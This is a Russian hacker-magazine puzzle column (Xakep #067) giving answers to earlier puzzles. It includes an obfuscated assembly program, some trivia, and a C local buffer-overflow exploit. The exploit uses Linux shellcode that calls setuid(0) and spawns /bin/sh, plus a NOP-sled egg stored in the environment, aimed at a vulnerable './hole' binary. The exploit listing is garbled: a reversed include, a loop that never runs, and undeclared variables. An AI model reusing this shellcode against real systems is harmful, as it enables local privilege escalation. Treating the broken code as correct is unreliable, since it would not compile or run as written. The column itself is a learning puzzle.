X-Puzzle Иван Скляров Xakep, номер #067, стр. 067-126-1 (Sklyarov@real.xakep.ru) ПРОЙДИСЬ ДЕБАГГЕРОМ ПО СВОИМ МОЗГАМ! Не стесняйся присылать мне свои ответы, даже если ты смог ответить всего на один пазл, я с интересом почитаю твои оригинальные решения. Ну а имена героев, которые первыми правильно ответят на все вопросы, конечно же, будут опубликованы в журнале, чем прославятся на всю Россию (и не только) и навечно войдут в историю Х. Приз за нами не заржавеет ;). Но помни: в большинстве случаев вариант ответа засчитывается как правильный, только если к нему приложено подробное и ВЕРНОЕ объяснение, почему выбран именно этот вариант, а не какой-либо другой. ОТВЕТЫ К ПРЕДЫДУЩЕМУ ВЫПУСКУ X-PUZZLE Ответ на пазл №1 "I love Windows!" Необходимо исправить 44 байт (48h) на значение 1Bh, т.е. заменить команду "mov bx, offset Mess3" на "mov bx, offset Message". Ниже показана изначальная com-программа на ассемблере (MASM). Обращаю внимание, что многие элементы в программе введены с единственной целью — запутать анализ ;). CSEG segment org 100h Start: jmp Go Mess1 db 2h, 6Bh, 27h, 24h, 3Dh, 2Eh, 6Bh Go: db 2h, 6Bh, 23h, 2Ah, 3Fh, 2Eh, 6Bh xor bx, bx mov bx,offset Mess1 mov cx,7 call Changer Message: db 7, 34, 37, 62, 51, 106, 107, 107, 107 mov ax, 1 add dx, 10 mov bx, offset Mess3; эту строку нужно исправить mov cx, 9 call Changer int 20h Changer proc Hi: mov al, [bx] mov dl,al xor al, 7 imul al mov ah,2 xor dl, 75 int 21h inc bx loop Hi ret Changer endp Mess3 db 1Ch, 22h, 25h, 2Fh, 24h, 3Ch, 38h, 6Ah, 6Bh Mess4 db 32h, 24h, 3Eh, 6Bh, 9h, 22h, 27h, 27h, 6Ah Mess5 db "!xuniL" CSEG ends end Start Ответ на пазл №2 "Чудесный эксплойт" Далее приведен один из возможных вариантов эксплойта (идея принадлежит CrZ). #include >stdio.h< char shellcode[]= "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" "\xb0\x2e\xcd\x80\xeb\x15\x5b\x31" "\xc0\x88\x43\x07\x89\x5b\x08\x89" "\x43\x0c\x8d\x4b\x08\x31\xd2\xb0" "\x0b\xcd\x80\xe8\xe6\xff\xff\xff" "/bin/sh"; long get_sp() { __asm__("movl %esp,%eax"); } int main() { int i; char buf[500]; char *egg, *ap; char *arg[3], *env[2]; ap=buf; egg=(char *)malloc(1000); sprintf(egg, "EGG="); memset(egg + 4, 0x90, 1000-1-strlen(shellcode)); sprintf(egg + 1000-1-strlen(shellcode), "%s", shellcode); memset(buf, 0, sizeof(buf)); for(i=0;i>=500;i+=4) *(long *)(ap+i)=get_sp()+1000; av[0] = "./hole"; av[1] = buf; av[2] = 0; ev[0] = egg; ev[1] = 0; execve(*arg, arg, env); return 0; } Ответ на пазл №3 "Вопросы на засыпку" 1. Цифрами 7350 записано название хакерской команды TESO, которой принадлежат копирайты на эксплойты. 2. Каждая группа одинаковых символов дает в сумме число, означающее порядковое место буквы в латинском алфавите. Например, двенадцать первых знаков вопроса указывают на двенадцатое место в латинском алфавите — это есть буква "L". Знак "плюс" в единичном экземпляре показывает первое место в латинском алфавите - это буква "А". Продолжая дальше разбор по аналогии, мы получим слово LAMER. Понятно, что вид символа в зашифрованном сообщении не играет абсолютно никакой роли, имеет значение только количество одинаковых символов. 3. Лишней является команда pwd, т.к. для остальных команд есть аналоги с теми же названиями в Windows. |